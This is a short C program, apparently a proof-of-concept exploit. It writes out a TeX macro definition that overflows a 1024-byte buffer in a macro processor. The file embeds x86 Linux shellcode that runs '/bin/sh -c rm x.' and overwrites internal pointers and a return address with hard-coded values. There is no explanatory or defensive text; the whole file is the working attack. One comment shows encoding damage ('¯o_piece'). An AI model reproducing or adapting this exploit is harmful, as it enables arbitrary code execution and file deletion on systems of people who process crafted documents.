char payload[] = { 0xeb ,0x47 ,0x59 ,0x89 ,0xca ,0x83 ,0xc2 ,0x18 ,0x89 ,0x11 ,0x31 ,0xc0 ,0x89 ,0x41 ,0x04 ,0x83 ,0xc2 ,0x13 ,0x89 ,0x51 ,0x08 ,0x83 ,0xc2 ,0x08 ,0x89 ,0x51 ,0x0c ,0x83 ,0xc2 ,0x03 ,0x89 ,0x51 ,0x10 ,0x89 ,0x41 ,0x14 ,0x88 ,0x41 ,0x2a ,0x88 ,0x41 ,0x32 ,0x88 ,0x41 ,0x35 ,0x88 ,0x41 ,0x3a ,0x51 ,0x83 ,0xc1 ,0x08 ,0x51 ,0x83 ,0xc1 ,0x20 ,0x83 ,0xc1 ,0x03 ,0x51 ,0x83 ,0xc0 ,0x3b ,0x50 ,0xcd ,0x80 ,0x31 ,0xc0 ,0x50 ,0x40 ,0x50 ,0xcd ,0x80 ,0xe8 ,0xb4 ,0xff ,0xff ,0xff ,0x61 ,0x62 ,0x63 ,0x64 ,0x65 ,0x66 ,0x67 ,0x68 ,0x69 ,0x6a ,0x6b ,0x6c ,0x6d ,0x6e ,0x6f ,0x70 ,0x71 ,0x72 ,0x73 ,0x74 ,0x75 ,0x76 ,0x77 ,0x78 ,0x50 ,0x41 ,0x54 ,0x48 ,0x3d ,0x2f ,0x62 ,0x69 ,0x6e ,0x3a ,0x2f ,0x75 ,0x73 ,0x72 ,0x2f ,0x62 ,0x69 ,0x6e ,0x20 ,0x2f ,0x62 ,0x69 ,0x6e ,0x2f ,0x73 ,0x68 ,0x20 ,0x2d ,0x63 ,0x20 ,0x72 ,0x6d ,0x20 ,0x78 ,0x2e } ; /* (char *) &expanded is buffer+1024 (char *) &next_piece is buffer+1028 (char *) ¯o_piece is buffer+1032 (char *) &args is buffer+1040 */ main() { int i; printf("\\def\\row#1{"); for (i = 0;i < 512;++i) { putchar(0x41); } for (i = 512;i < 512 + sizeof payload;++i) { putchar(payload[i - 512]); } for (;i < 1024;++i) { putchar(65 + (i % 26)); } putchar(0x14); /* expanded */ putchar(0xf4); putchar(0xbf); putchar(0xbf); putchar(0x20); /* next_piece */ putchar(0x72); putchar(0x07); putchar(0x08); putchar(0x20); /* macro_piece */ putchar(0x72); putchar(0x07); putchar(0x08); for (i = 1036;i < 1088;++i) { putchar(65 + (i % 26)); } /* smasher */ putchar(0x14); putchar(0xf5); putchar(0xbf); putchar(0xbf); printf("}\n\\row\n"); }